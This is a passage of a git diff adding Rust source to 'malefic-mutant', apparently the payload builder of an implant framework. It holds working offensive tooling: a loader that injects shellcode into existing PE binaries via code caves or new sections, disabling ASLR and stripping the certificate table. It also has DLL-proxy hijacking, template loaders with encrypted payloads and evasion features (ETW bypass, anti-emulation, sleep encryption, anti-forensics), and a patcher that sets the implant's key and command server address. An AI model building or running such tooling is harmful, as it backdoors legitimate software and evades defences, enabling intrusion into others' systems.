push rsi + let expected_start = [0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56]; + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let resolver = generate_block_api_x64(algo); + assert_eq!( + &resolver[..7], + &expected_start, + "{:?} resolver should start with standard push sequence", + algo + ); + } + } +} diff --git a/malefic-mutant/src/tool/loader/mod.rs b/malefic-mutant/src/tool/loader/mod.rs new file mode 100644 index 0000000..2309dca --- /dev/null +++ b/malefic-mutant/src/tool/loader/mod.rs @@ -0,0 +1,29 @@ +//! Loader generation framework +//! +//! Supports multiple loader generation strategies: +//! - Template: Random template-based loader generation +//! - ProxyDLL: DLL proxying loader (existing functionality) +//! - Patch: Binary patching loader + +pub mod bdf; +pub mod patch; +pub mod proxydll_loader; +pub mod template; + +use anyhow::Result; + +pub use patch::PatchLoader; +#[allow(unused_imports)] +pub use proxydll_loader::ProxyDllLoader; +#[allow(unused_imports)] +pub use template::TemplateLoader; + +/// Trait for loader generators +#[allow(dead_code)] +pub trait LoaderGenerator { + /// Generate loader with the given shellcode/payload + fn generate(&self, payload: &[u8]) -> Result>; + + /// Get loader type name + fn name(&self) -> &'static str; +} diff --git a/malefic-mutant/src/tool/loader/patch.rs b/malefic-mutant/src/tool/loader/patch.rs new file mode 100644 index 0000000..98a737d --- /dev/null +++ b/malefic-mutant/src/tool/loader/patch.rs @@ -0,0 +1,101 @@ +//! Patch-based loader generation using BDF (Backdoor Factory) +//! +//! Injects shellcode into existing PE binaries via code cave or new section. + +use super::bdf::evasion::StubEvasion; +use super::bdf::pe::{ExecutionTechnique, PatchPeOptions, ThreadWait}; +use super::LoaderGenerator; +use anyhow::Result; + +/// Patch loader configuration +#[derive(Debug, Clone)] +pub struct PatchLoader { + /// Target PE binary path + pub target_binary: Option, + /// Force adding a new section + pub add_section: bool, + /// Section name for new section + pub section_name: String, + /// Minimum code cave size + pub min_cave_size: usize, + /// Disable ASLR + pub disable_aslr: bool, + /// Zero certificate table + pub zero_cert: bool, + /// Thread wait strategy + pub thread_wait: ThreadWait, + /// Execution technique + pub execution_technique: ExecutionTechnique, + /// Stub evasion configuration + pub evasion: StubEvasion, +} + +impl Default for PatchLoader { + fn default() -> Self { + Self { + target_binary: None, + add_section: false, + section_name: ".sdata".to_string(), + min_cave_size: 380, + disable_aslr: true, + zero_cert: true, + thread_wait: ThreadWait::None, + execution_technique: ExecutionTechnique::CreateThread, + evasion: StubEvasion::default(), + } + } +} + +impl PatchLoader { + /// Patch the target PE binary with the given shellcode + pub fn patch(&self, shellcode: &[u8]) -> Result> { + let target = self + .target_binary + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Target binary path is required"))?; + + let data = std::fs::read(target) + .map_err(|e| anyhow::anyhow!("Failed to read target binary '{}': {}", target, e))?; + + let options = PatchPeOptions { + add_section: self.add_section, + section_name: self.section_name.clone(), + min_cave_size: self.min_cave_size, + disable_aslr: self.disable_aslr, + zero_cert: self.zero_cert, + thread_wait: self.thread_wait.clone(), + execution_technique: self.execution_technique.clone(), + evasion: self.evasion.clone(), + }; + + super::bdf::pe::patch_pe(&data, shellcode, &options) + } + + /// Find code caves in the target PE binary + pub fn find_caves(&self) -> Result> { + let target = self + .target_binary + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Target binary path is required"))?; + + let data = std::fs::read(target) + .map_err(|e| anyhow::anyhow!("Failed to read target binary '{}': {}", target, e))?; + + let parsed = goblin::pe::PE::parse(&data) + .map_err(|e| anyhow::anyhow!("Failed to parse PE: {}", e))?; + + let caves = super::bdf::pe::find_pe_caves(&parsed, &data, self.min_cave_size); + + Ok(caves) + } +} + +impl LoaderGenerator for PatchLoader { + fn generate(&self, payload: &[u8]) -> Result> { + self.patch(payload) + } + + fn name(&self) -> &'static str { + "patch" + } +} diff --git a/malefic-mutant/src/tool/loader/proxydll_loader.rs b/malefic-mutant/src/tool/loader/proxydll_loader.rs new file mode 100644 index 0000000..ac04170 --- /dev/null +++ b/malefic-mutant/src/tool/loader/proxydll_loader.rs @@ -0,0 +1,56 @@ +//! ProxyDLL-based loader generation +//! Reuses existing proxydll module functionality +#![allow(dead_code)] + +use super::LoaderGenerator; +use crate::tool::proxydll::update_proxydll; +use anyhow::Result; + +/// ProxyDLL loader configuration +#[derive(Debug, Clone, Default)] +pub struct ProxyDllLoader { + pub raw_dll: String, + pub proxied_dll: String, + pub proxy_dll: String, + pub hijacked_exports: Vec, + pub use_native_thread: bool, + pub use_block: bool, + pub use_prelude: bool, + pub hijacked_dllmain: bool, +} + +impl ProxyDllLoader { + pub fn new(raw_dll: &str, proxied_dll: &str, proxy_dll: &str) -> Self { + Self { + raw_dll: raw_dll.to_string(), + proxied_dll: proxied_dll.to_string(), + proxy_dll: proxy_dll.to_string(), + ..Default::default() + } + } + + /// Generate proxydll project files (does not compile) + pub fn generate_project(&self) -> Result<()> { + let hijacked: Vec<&str> = self.hijacked_exports.iter().map(|s| s.as_str()).collect(); + update_proxydll( + &self.raw_dll, + &self.proxied_dll, + &self.proxy_dll, + &hijacked, + self.use_native_thread, + self.use_block, + self.use_prelude, + self.hijacked_dllmain, + ) + } +} + +impl LoaderGenerator for ProxyDllLoader { + fn generate(&self, _payload: &[u8]) -> Result> { + anyhow::bail!("ProxyDLL generates source files. Use generate_project() method.") + } + + fn name(&self) -> &'static str { + "proxydll" + } +} diff --git a/malefic-mutant/src/tool/loader/template.rs b/malefic-mutant/src/tool/loader/template.rs new file mode 100644 index 0000000..de6f2cf --- /dev/null +++ b/malefic-mutant/src/tool/loader/template.rs @@ -0,0 +1,248 @@ +//! Template-based loader generation +//! Integrates with malefic-loader templates + +use super::LoaderGenerator; +use anyhow::Result; +use std::process::Command; + +use crate::config::EvaderConfig; + +/// All available loader template names (Community Edition) +pub const LOADER_NAMES: &[&str] = &[ + "basic_template", + "func_ptr", +]; + +/// Encoding type to feature name mapping +pub const ENCODING_FEATURES: &[(&str, &str)] = &[ + ("xor", "enc_xor"), + ("uuid", "enc_uuid"), + ("mac", "enc_mac"), + ("ipv4", "enc_ipv4"), + ("base64", "enc_base64"), + ("base45", "enc_base45"), + ("base58", "enc_base58"), + ("aes", "enc_aes"), + ("aes2", "enc_aes2"), + ("des", "enc_des"), + ("chacha", "enc_chacha"), + ("rc4", "enc_rc4"), +]; + +/// Template loader configuration +#[derive(Debug, Clone)] +pub struct TemplateLoader { + pub template_name: Option, + pub encoding: Option, + pub debug: bool, + pub evader: Option, +} + +impl Default for TemplateLoader { + fn default() -> Self { + Self { + template_name: None, + encoding: None, + debug: false, + evader: None, + } + } +} + +impl TemplateLoader { + /// Create with specific template + pub fn with_template(name: &str) -> Self { + Self { + template_name: Some(name.to_string()), + encoding: None, + debug: false, + evader: None, + } + } + + /// Create with random template selection + pub fn random() -> Self { + Self { + template_name: Some(random_loader().to_string()), + encoding: None, + debug: false, + evader: None, + } + } + + /// Set encoding method + pub fn with_encoding(mut self, encoding: &str) -> Self { + self.encoding = Some(encoding.to_lowercase()); + self + } + + /// Enable debug output + pub fn with_debug(mut self, debug: bool) -> Self { + self.debug = debug; + self + } + + /// Attach evader configuration (controls which evasion features are compiled in) + pub fn with_evader(mut self, evader: EvaderConfig) -> Self { + self.evader = Some(evader); + self + } + + /// Get selected template name (random if not specified) + pub fn get_template(&self) -> &str { + self.template_name + .as_deref() + .unwrap_or_else(|| random_loader()) + } + + /// List all available templates + #[allow(dead_code)] + pub fn list_templates() -> &'static [&'static str] { + LOADER_NAMES + } + + /// Get the encoding feature name for a given encoding type + fn encoding_feature(encoding: &str) -> Result<&'static str> { + let enc_lower = encoding.to_lowercase(); + for &(name, feature) in ENCODING_FEATURES { + if name == enc_lower { + return Ok(feature); + } + } + anyhow::bail!( + "Unknown encoding: {}. Available: {}", + encoding, + ENCODING_FEATURES + .iter() + .map(|(n, _)| *n) + .collect::>() + .join(", ") + ); + } + + /// Write encoded payload + key + extra to generated/ directory + pub fn write_payload(encoded: &[u8], key: &[u8], extra: &[u8]) -> Result<()> { + let gen_dir = std::path::Path::new("malefic-starship/generated"); + std::fs::create_dir_all(gen_dir)?; + std::fs::write(gen_dir.join("payload.enc"), encoded)?; + std::fs::write(gen_dir.join("payload.key"), key)?; + std::fs::write(gen_dir.join("payload.extra"), extra)?; + Ok(()) + } + + /// Clear generated payload files (reset to empty) + pub fn clear_payload() -> Result<()> { + let gen_dir = std::path::Path::new("malefic-starship/generated"); + std::fs::create_dir_all(gen_dir)?; + std::fs::write(gen_dir.join("payload.enc"), b"")?; + std::fs::write(gen_dir.join("payload.key"), b"")?; + std::fs::write(gen_dir.join("payload.extra"), b"")?; + Ok(()) + } + + /// Build the loader binary + pub fn build(&self, release: bool, target: &str) -> Result { + let template = self.get_template(); + + // Validate template name + if !LOADER_NAMES.contains(&template) { + anyhow::bail!("Unknown template: {}", template); + } + + // Build features string + let mut features = vec![template.to_string()]; + + if let Some(ref enc) = self.encoding { + let enc_feature = Self::encoding_feature(enc)?; + features.push(enc_feature.to_string()); + features.push("embedded_payload".to_string()); + } + + if self.debug { + features.push("debug".to_string()); + } + + // Append evader features from config + if let Some(ref e) = self.evader { + if e.anti_emu { + features.push("evader_anti_emu".to_string()); + } + if e.etw_pass { + features.push("evader_etw_pass".to_string()); + } + if e.god_speed { + features.push("evader_god_speed".to_string()); + } + if e.sleep_encrypt { + features.push("evader_sleep_encrypt".to_string()); + } + if e.anti_forensic { + features.push("evader_anti_forensic".to_string()); + } + if e.cfg_patch { + features.push("evader_cfg_patch".to_string()); + } + if e.api_untangle { + features.push("evader_api_untangle".to_string()); + } + if e.normal_api { + features.push("evader_normal_api".to_string()); + } + } + + let features_str = features.join(","); + + let mut cmd = Command::new("cargo"); + cmd.arg("+nightly-2023-09-18") + .arg("build") + .arg("--manifest-path") + .arg("malefic-starship/Cargo.toml") + .arg("--target") + .arg(target) + .arg("--features") + .arg(&features_str); + + if release { + cmd.arg("--release"); + } + + let output = cmd.output()?; + if !output.status.success() { + anyhow::bail!("Build failed: {}", String::from_utf8_lossy(&output.stderr)); + } + + let profile = if release { "release" } else { "debug" }; + let ext = if target.contains("windows") { + ".exe" + } else { + "" + }; + let binary_path = std::path::PathBuf::from(format!( + "malefic-starship/target/{}/{}/starship{}", + target, profile, ext + )); + + Ok(binary_path) + } +} + +/// Get a random loader name +pub fn random_loader() -> &'static str { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + LOADER_NAMES[seed % LOADER_NAMES.len()] +} + +impl LoaderGenerator for TemplateLoader { + fn generate(&self, _payload: &[u8]) -> Result> { + let path = self.build(true, "x86_64-pc-windows-gnu")?; + std::fs::read(&path).map_err(|e| anyhow::anyhow!("Failed to read binary: {}", e)) + } + + fn name(&self) -> &'static str { + "template" + } +} diff --git a/malefic-mutant/src/tool/mod.rs b/malefic-mutant/src/tool/mod.rs new file mode 100644 index 0000000..cf5e5c8 --- /dev/null +++ b/malefic-mutant/src/tool/mod.rs @@ -0,0 +1,12 @@ +pub mod binder; +pub mod encoder; +pub mod entropy; +pub mod icon; +pub mod loader; +pub mod patch; +pub mod pe; +pub mod proxydll; +pub mod sigforge; +pub mod srdi; +pub mod strip; +pub mod watermark; diff --git a/malefic-mutant/src/tool/patch.rs b/malefic-mutant/src/tool/patch.rs new file mode 100644 index 0000000..36049d7 --- /dev/null +++ b/malefic-mutant/src/tool/patch.rs @@ -0,0 +1,439 @@ +use anyhow::{anyhow, bail, Context, Result}; +use clap::ValueEnum; +use std::fs; +use std::path::{Path, PathBuf}; + +const BLOCK_LEN: usize = 64; +const CONFIG_BLOB_PREFIX: &[u8] = b"CFGv3B64"; + +#[derive(Clone, Debug, ValueEnum)] +pub enum PatchField { + #[value(alias = "name")] + Name, + #[value(alias = "key")] + Key, + #[value(alias = "server_address", alias = "server")] + ServerAddress, +} + +impl PatchField { + pub fn label(&self) -> &'static str { + match self { + PatchField::Name => "NAME", + PatchField::Key => "KEY", + PatchField::ServerAddress => "SERVER_ADDRESS", + } + } + + fn default_current(&self) -> Option<&'static str> { + match self { + PatchField::Name => Some("malefic"), + PatchField::Key => Some("maliceofinternal"), + PatchField::ServerAddress => Some("127.0.0.1:5001"), + } + } + + fn block_len(&self) -> usize { + BLOCK_LEN + } +} + +#[allow(dead_code)] +pub struct PatchOptions<'a> { + pub file: &'a str, + pub field: PatchField, + pub value: &'a str, + pub value_is_hex: bool, + pub current: Option<&'a str>, + pub current_hex: Option<&'a str>, + pub offset: Option<&'a str>, + pub index: usize, + pub output: Option<&'a str>, + pub xor_key: &'a [u8], +} + +#[allow(dead_code)] +pub struct PatchOutcome { + pub offset: usize, + pub output_path: PathBuf, +} + +#[allow(dead_code)] +pub fn patch_binary(opts: &PatchOptions) -> Result { + let file_path = PathBuf::from(opts.file); + let mut data = fs::read(&file_path) + .with_context(|| format!("failed to read binary '{}'", file_path.display()))?; + + let new_plain = parse_value(opts.value, opts.value_is_hex)?; + let block_len = opts.field.block_len(); + if new_plain.len() > block_len { + bail!( + "value for {} exceeds {} bytes (got {})", + opts.field.label(), + block_len, + new_plain.len() + ); + } + let new_block = encode_block(&new_plain, block_len, opts.xor_key); + + let offset = if let Some(off) = opts.offset.as_ref() { + parse_offset(off)? + } else { + let (current_bytes, source_desc) = determine_current_bytes(opts)?; + let needle = encode_block(¤t_bytes, block_len, opts.xor_key); + let offsets = find_occurrences(&data, &needle); + if offsets.is_empty() { + bail!( + "could not locate {} block for value '{}' in file of {} bytes", + opts.field.label(), + source_desc, + data.len() + ); + } + let idx = opts.index; + if idx >= offsets.len() { + bail!( + "requested index {} but only {} matches were found", + idx, + offsets.len() + ); + } + offsets[idx] + }; + + let end = offset + .checked_add(block_len) + .ok_or_else(|| anyhow!("offset overflow"))?; + if end > data.len() { + bail!( + "offset 0x{:X} ({} decimal) + length {} exceeds file size {} bytes", + offset, + offset, + block_len, + data.len() + ); + } + + data[offset..end].copy_from_slice(&new_block); + + let output_path = if let Some(out) = opts.output { + PathBuf::from(out) + } else { + default_output_path(&file_path) + }; + + fs::write(&output_path, data) + .with_context(|| format!("failed to write patched binary '{}'", output_path.display()))?; + + Ok(PatchOutcome { + offset, + output_path, + }) +} + +#[allow(dead_code)] +fn determine_current_bytes(opts: &PatchOptions) -> Result<(Vec, String)> { + if let Some(hex) = opts.current_hex.as_ref() { + let bytes = parse_hex_like(hex)?; + return Ok((bytes, hex.to_string())); + } + + if let Some(current) = opts.current.as_ref() { + let bytes = current.as_bytes().to_vec(); + return Ok((bytes, current.to_string())); + } + + if let Some(default) = opts.field.default_current() { + return Ok((default.as_bytes().to_vec(), default.to_string())); + } + + bail!( + "please provide --current or --current-hex or an explicit --offset when patching {}", + opts.field.label() + ); +} + +fn parse_value(input: &str, is_hex: bool) -> Result> { + if is_hex { + parse_hex_like(input) + } else { + Ok(input.as_bytes().to_vec()) + } +} + +fn parse_hex_like(text: &str) -> Result> { + let mut cleaned = String::new(); + for chunk in text.split(|c: char| c.is_whitespace() || c == ',') { + if chunk.is_empty() { + continue; + } + let chunk = chunk.strip_prefix("0x").unwrap_or(chunk); + cleaned.push_str(chunk); + } + + if cleaned.len() % 2 != 0 { + bail!("hex input must have an even number of digits"); + } + let bytes = hex::decode(cleaned).with_context(|| "failed to decode hex input")?; + Ok(bytes) +} + +fn encode_block(raw: &[u8], length: usize, xor_key: &[u8]) -> Vec { + assert!( + !xor_key.is_empty(), + "xor_key must not be empty when encoding blocks" + ); + let mut block = vec![0u8; length]; + for idx in 0..length { + let key = xor_key[idx % xor_key.len()]; + block[idx] = if idx < raw.len() { raw[idx] ^ key } else { key }; + } + block +} + +fn find_occurrences(haystack: &[u8], needle: &[u8]) -> Vec { + if needle.is_empty() || haystack.len() < needle.len() { + return Vec::new(); + } + + let mut positions = Vec::new(); + for i in 0..=haystack.len() - needle.len() { + if &haystack[i..i + needle.len()] == needle { + positions.push(i); + } + } + positions +} + +#[allow(dead_code)] +fn parse_offset(text: &str) -> Result { + let trimmed = text.trim(); + let value = if let Some(hex) = trimmed + .strip_prefix("0x") + .or_else(|| trimmed.strip_prefix("0X")) + { + usize::from_str_radix(hex, 16)? + } else { + trimmed.parse::()? + }; + Ok(value) +} + +fn default_output_path(original: &Path) -> PathBuf { + let file_name = original + .file_name() + .map(|s| s.to_string_lossy().into_owned()) + .unwrap_or_else(|| "patched.bin".to_string()); + + // Generate patched filename: "foo.exe" -> "foo-patched.exe", "foo" -> "foo-patched" + let patched_name = if let Some(dot_pos) = file_name.rfind('.') { + // Has extension: insert "-patched" before the extension + let (stem, ext) = file_name.split_at(dot_pos); + format!("{}-patched{}", stem, ext) + } else { + // No extension (ELF/Mach-O): append "-patched" + format!("{}-patched", file_name) + }; + + let default_path = PathBuf::from(patched_name.clone()); + original + .parent() + .map(|p| p.join(patched_name)) + .unwrap_or(default_path) +} + +/// Represents a single field patch operation +pub struct FieldPatch { + pub field: PatchField, + pub value: String, + pub is_hex: bool, + pub default_value: Option, +} + +/// Options for batch patching multiple fields +pub struct BatchPatchOptions { + pub file: String, + pub patches: Vec, + pub output: Option, + pub xor_key: Vec, +} + +pub struct BatchPatchOutcome { + pub patched_fields: Vec<(PatchField, usize)>, // (field, offset) + pub output_path: PathBuf, +} + +pub struct ConfigBlobPatchOptions { + pub file: String, + pub blob_b64: String, + pub blob_len: usize, + pub output: Option, +} + +pub struct ConfigBlobPatchOutcome { + pub offset: usize, + pub output_path: PathBuf, +} + +/// Patch multiple fields in a single pass +pub fn batch_patch_binary(opts: &BatchPatchOptions) -> Result { + if opts.patches.is_empty() { + bail!("no fields specified for patching"); + } + + let file_path = PathBuf::from(&opts.file); + let mut data = fs::read(&file_path) + .with_context(|| format!("failed to read binary '{}'", file_path.display()))?; + + let mut patched_fields = Vec::new(); + let xor_key = &opts.xor_key; + + // Process each field patch + for patch in &opts.patches { + let new_plain = parse_value(&patch.value, patch.is_hex)?; + let block_len = patch.field.block_len(); + + if new_plain.len() > block_len { + bail!( + "value for {} exceeds {} bytes (got {})", + patch.field.label(), + block_len, + new_plain.len() + ); + } + + let new_block = encode_block(&new_plain, block_len, xor_key); + + // Use default current value to locate the block + let default_current = patch + .default_value + .as_deref() + .or_else(|| patch.field.default_current()) + .ok_or_else(|| anyhow!("no default value for {}", patch.field.label()))?; + + let current_bytes = default_current.as_bytes(); + let needle = encode_block(current_bytes, block_len, xor_key); + let offsets = find_occurrences(&data, &needle); + + if offsets.is_empty() { + bail!( + "could not locate {} block for default value '{}' in file of {} bytes", + patch.field.label(), + default_current, + data.len() + ); + } + + // Use the first match + let offset = offsets[0]; + let end = offset + .checked_add(block_len) + .ok_or_else(|| anyhow!("offset overflow"))?; + + if end > data.len() { + bail!( + "offset 0x{:X} ({} decimal) + length {} exceeds file size {} bytes", + offset, + offset, + block_len, + data.len() + ); + } + + // Apply the patch + data[offset..end].copy_from_slice(&new_block); + patched_fields.push((patch.field.clone(), offset)); + } + + // Write the patched data + let output_path = if let Some(out) = &opts.output { + PathBuf::from(out) + } else { + default_output_path(&file_path) + }; + + fs::write(&output_path, data) + .with_context(|| format!("failed to write patched binary '{}'", output_path.display()))?; + + Ok(BatchPatchOutcome { + patched_fields, + output_path, + }) +} + +/// Padding byte used in the config blob slot. +const PAD_BYTE: u8 = b'#'; + +/// Patch the runtime config blob located by its ASCII prefix marker. +pub fn patch_config_blob(opts: &ConfigBlobPatchOptions) -> Result { + if opts.blob_b64.len() != opts.blob_len { + bail!( + "blob length mismatch: expected {} bytes, got {}", + opts.blob_len, + opts.blob_b64.len() + ); + } + if !opts.blob_b64.as_bytes().starts_with(CONFIG_BLOB_PREFIX) { + bail!( + "blob text must start with '{}'", + std::str::from_utf8(CONFIG_BLOB_PREFIX).unwrap() + ); + } + + let file_path = PathBuf::from(&opts.file); + let mut data = fs::read(&file_path) + .with_context(|| format!("failed to read binary '{}'", file_path.display()))?; + + let candidates = find_occurrences(&data, CONFIG_BLOB_PREFIX); + if candidates.is_empty() { + bail!("failed to locate config blob prefix in binary"); + } + + // Filter candidates: the real config slot has '#' padding after the prefix + let (start, end) = candidates + .into_iter() + .filter_map(|pos| { + let start = pos; + let end = start.checked_add(opts.blob_len)?; + if end > data.len() { + return None; + } + + // Verify this is the real slot: bytes after prefix should be '#' padding + // Check a sample of bytes right after the prefix + let payload_start = start + CONFIG_BLOB_PREFIX.len(); + let sample_end = (payload_start + 16).min(end); + let sample = data.get(payload_start..sample_end)?; + + // The empty slot has all '#' padding; a patched slot has base64 chars + // Both are valid targets - we just need to exclude code segment occurrences + // Code segments have random bytes (machine instructions), not '#' or base64 + let is_valid_slot = sample.iter().all(|&b| { + b == PAD_BYTE || b.is_ascii_alphanumeric() || b == b'+' || b == b'/' || b == b'=' + }); + + if is_valid_slot { + Some((start, end)) + } else { + None + } + }) + .next() + .ok_or_else(|| anyhow!("could not find valid config slot (CFGv3B64 + padding/base64)"))?; + + data[start..end].copy_from_slice(opts.blob_b64.as_bytes()); + + let output_path = if let Some(out) = &opts.output { + PathBuf::from(out) + } else { + default_output_path(&file_path) + }; + + fs::write(&output_path, data) + .with_context(|| format!("failed to write patched binary '{}'", output_path.display()))?; + + Ok(ConfigBlobPatchOutcome { + offset: start, + output_path, + }) +} diff --git a/malefic-mutant/src/tool/pe/mod.rs b/malefic-mutant/src/tool/pe/mod.rs new file mode 100644 index 0000000..fdcdf6a --- /dev/null +++ b/malefic-mutant/src/tool/pe/mod.rs @@ -0,0 +1,6 @@ +pub mod objcopy; +pub mod parser; +pub mod structures; + +pub use objcopy::PEObjCopy; +pub use parser::{ExportInfo, PEParser}; diff --git a/malefic-mutant/src/tool/pe/objcopy.rs b/malefic-mutant/src/tool/pe/objcopy.rs new file mode 100644 index 0000000..303b21f --- /dev/null +++ b/malefic-mutant/src/tool/pe/objcopy.rs @@ -0,0 +1,53 @@ +use crate::log_success; +use anyhow::{anyhow, Result}; +use goblin::pe::PE; +use std::fs; + +pub struct PEObjCopy; + +impl PEObjCopy { + /// Extract binary data from PE file (similar to objcopy -O binary) + /// This extracts the raw executable sections from a PE file + pub fn extract_binary(pe_path: &str, output_path: &str) -> Result<()> { + let buffer = fs::read(pe_path) + .map_err(|e| anyhow!("Failed to read PE file '{}': {}", pe_path, e))?; + + let pe = PE::parse(&buffer) + .map_err(|e| anyhow!("Failed to parse PE file '{}': {}", pe_path, e))?; + + // Extract all executable sections + let mut binary_data = Vec::new(); + + for section in &pe.sections { + // Check if section contains executable code (IMAGE_SCN_CNT_CODE = 0x20) + if section.characteristics & 0x20 != 0 { + if let Ok(Some(section_data)) = section.data(&buffer) { + binary_data.extend_from_slice(§ion_data); + } + } + } + + if binary_data.is_empty() { + return Err(anyhow!("No executable sections found in PE file")); + } + + fs::write(output_path, binary_data) + .map_err(|e| anyhow!("Failed to write binary file '{}': {}", output_path, e))?; + + log_success!("Extracted binary {} → {}", pe_path, output_path); + Ok(()) + } + + /// Extract raw file content (entire file as binary) + #[allow(dead_code)] + pub fn extract_raw(pe_path: &str, output_path: &str) -> Result<()> { + let buffer = + fs::read(pe_path).map_err(|e| anyhow!("Failed to read file '{}': {}", pe_path, e))?; + + fs::write(output_path, buffer) + .map_err(|e| anyhow!("Failed to write binary file '{}': {}", output_path, e))?; + + log_success!("Copied raw file {} → {}", pe_path, output_path); + Ok(()) + } +} diff --git a/malefic-mutant/src/tool/pe/parser.rs b/malefic-mutant/src/tool/pe/parser.rs new file mode 100644 index 0000000..202a849 --- /dev/null +++ b/malefic-mutant/src/tool/pe/parser.rs @@ -0,0 +1,215 @@ +use super::structures::PEInfo; +use anyhow::{anyhow, Result}; +use byteorder::{LittleEndian, ReadBytesExt}; +use goblin::pe::PE; +use std::fs; +use std::fs::File; +use std::io::{Seek, SeekFrom}; + +#[derive(Debug, Clone)] +pub struct ExportInfo { + pub name: String, + pub ordinal: u32, +} + +pub struct PEParser; + +impl PEParser { + pub fn parse_dll_exports(dll_path: &str) -> Result> { + let buffer = fs::read(dll_path) + .map_err(|e| anyhow!("Failed to read DLL file '{}': {}", dll_path, e))?; + + let pe = PE::parse(&buffer) + .map_err(|e| anyhow!("Failed to parse PE file '{}': {}", dll_path, e))?; + + let mut exports = Vec::new(); + + // Get the export data from the data directories + if let Some(_export_data) = pe.export_data { + // Simplified approach: use sequential ordinals starting from 1 + + // Parse export names + for (i, export) in pe.exports.iter().enumerate() { + let name = export.name.unwrap_or("").to_string(); + // For goblin, we use sequential ordinals starting from 1 + let ordinal = i as u32 + 1; + + exports.push(ExportInfo { name, ordinal }); + } + + // Handle exports by ordinal only (no name) - simplified approach + // In goblin, we mainly work with the named exports from pe.exports + // Additional ordinal-only exports would need more complex parsing + } else { + // Fallback: just use pe.exports with sequential ordinals + for (i, export) in pe.exports.iter().enumerate() { + let name = export.name.unwrap_or("").to_string(); + let ordinal = i as u32 + 1; // Start from 1 + + exports.push(ExportInfo { name, ordinal }); + } + } + + if exports.is_empty() { + return Err(anyhow!("No exports found in DLL '{}'", dll_path)); + } + + Ok(exports) + } + + #[allow(dead_code)] + pub fn demangle_name(mangled_name: &str, ordinal: u32) -> String { + if mangled_name.is_empty() { + return format!("OrdinalPlaceholder{}", ordinal); + } + + let demangled: String = mangled_name + .replace("?", "1") + .replace("!", "2") + .replace("@", "3") + .replace("$", "4") + .chars() + .map(|c| { + if c.is_ascii_alphanumeric() || c == '_' { + c + } else { + '6' + } + }) + .collect(); + + if demangled == *mangled_name { + return demangled; + } + + // Rust expects function names to start with a letter + format!("a{}", demangled) + } + + pub fn parse_file(file_path: &str) -> Result { + let mut file = File::open(file_path)?; + Self::parse_pe_info(&mut file) + } + + pub fn parse_pe_info(file: &mut File) -> Result { + let mut pe_info = PEInfo::new(); + + // Read PE header location from offset 0x3C + file.seek(SeekFrom::Start(0x3C))?; + pe_info.pe_header_location = file.read_u32::()?; + + // Validate PE signature + file.seek(SeekFrom::Start(pe_info.pe_header_location as u64))?; + let pe_signature = file.read_u32::()?; + if pe_signature != 0x00004550 { + // "PE\0\0" + return Err(anyhow!("Invalid PE signature")); + } + + // Parse COFF Header + Self::parse_coff_header(file, &mut pe_info)?; + + // Parse Optional Header + Self::parse_optional_header(file, &mut pe_info)?; + + Ok(pe_info) + } + + fn parse_coff_header(file: &mut File, pe_info: &mut PEInfo) -> Result<()> { + // COFF header starts right after PE signature + pe_info.machine_type = file.read_u16::()?; + pe_info.number_of_sections = file.read_u16::()?; + pe_info.time_date_stamp = file.read_u32::()?; + + // Skip PointerToSymbolTable and NumberOfSymbols + file.seek(SeekFrom::Current(8))?; + + pe_info.size_of_optional_header = file.read_u16::()?; + pe_info.characteristics = file.read_u16::()?; + + Ok(()) + } + + fn parse_optional_header(file: &mut File, pe_info: &mut PEInfo) -> Result<()> { + if pe_info.size_of_optional_header == 0 { + return Err(anyhow!("No optional header found")); + } + + // Standard fields + pe_info.magic = file.read_u16::()?; + pe_info.major_linker_version = file.read_u8()?; + pe_info.minor_linker_version = file.read_u8()?; + pe_info.size_of_code = file.read_u32::()?; + pe_info.size_of_initialized_data = file.read_u32::()?; + pe_info.size_of_uninitialized_data = file.read_u32::()?; + pe_info.address_of_entry_point = file.read_u32::()?; + pe_info.base_of_code = file.read_u32::()?; + + // BaseOfData only exists in PE32 + if pe_info.magic != 0x20B { + pe_info.base_of_data = Some(file.read_u32::()?); + } + + // Windows-specific fields + if pe_info.is_pe32_plus() { + pe_info.image_base = file.read_u64::()?; + } else { + pe_info.image_base = file.read_u32::()? as u64; + } + + pe_info.section_alignment = file.read_u32::()?; + pe_info.file_alignment = file.read_u32::()?; + pe_info.major_os_version = file.read_u16::()?; + pe_info.minor_os_version = file.read_u16::()?; + pe_info.major_image_version = file.read_u16::()?; + pe_info.minor_image_version = file.read_u16::()?; + pe_info.major_subsystem_version = file.read_u16::()?; + pe_info.minor_subsystem_version = file.read_u16::()?; + pe_info.win32_version_value = file.read_u32::()?; + pe_info.size_of_image = file.read_u32::()?; + pe_info.size_of_headers = file.read_u32::()?; + pe_info.checksum = file.read_u32::()?; + pe_info.subsystem = file.read_u16::()?; + pe_info.dll_characteristics = file.read_u16::()?; + + if pe_info.is_pe32_plus() { + pe_info.size_of_stack_reserve = file.read_u64::()?; + pe_info.size_of_stack_commit = file.read_u64::()?; + pe_info.size_of_heap_reserve = file.read_u64::()?; + pe_info.size_of_heap_commit = file.read_u64::()?; + } else { + pe_info.size_of_stack_reserve = file.read_u32::()? as u64; + pe_info.size_of_stack_commit = file.read_u32::()? as u64; + pe_info.size_of_heap_reserve = file.read_u32::()? as u64; + pe_info.size_of_heap_commit = file.read_u32::()? as u64; + } + + pe_info.loader_flags = file.read_u32::()?; + pe_info.number_of_rva_and_sizes = file.read_u32::()?; + + // Parse Data Directories + Self::parse_data_directories(file, pe_info)?; + + Ok(()) + } + + fn parse_data_directories(file: &mut File, pe_info: &mut PEInfo) -> Result<()> { + // Export Table + pe_info.export_table_rva = file.read_u32::()?; + pe_info.export_table_size = file.read_u32::()?; + + // Import Table + pe_info.import_table_rva = file.read_u32::()?; + pe_info.import_table_size = file.read_u32::()?; + + // Skip Resource, Exception tables (16 bytes) + file.seek(SeekFrom::Current(16))?; + + // Certificate Table (Data Directory entry 4) + pe_info.cert_table_location = file.stream_position()? as u32; + pe_info.cert_location = file.read_u32::()?; + pe_info.cert_size = file.read_u32::()?; + + Ok(()) + } +} diff --git a/malefic-mutant/src/tool/pe/structures.rs b/malefic-mutant/src/tool/pe/structures.rs new file mode 100644 index 0000000..d0b2544 --- /dev/null +++ b/malefic-mutant/src/tool/pe/structures.rs @@ -0,0 +1,113 @@ +#[derive(Debug, Clone)] 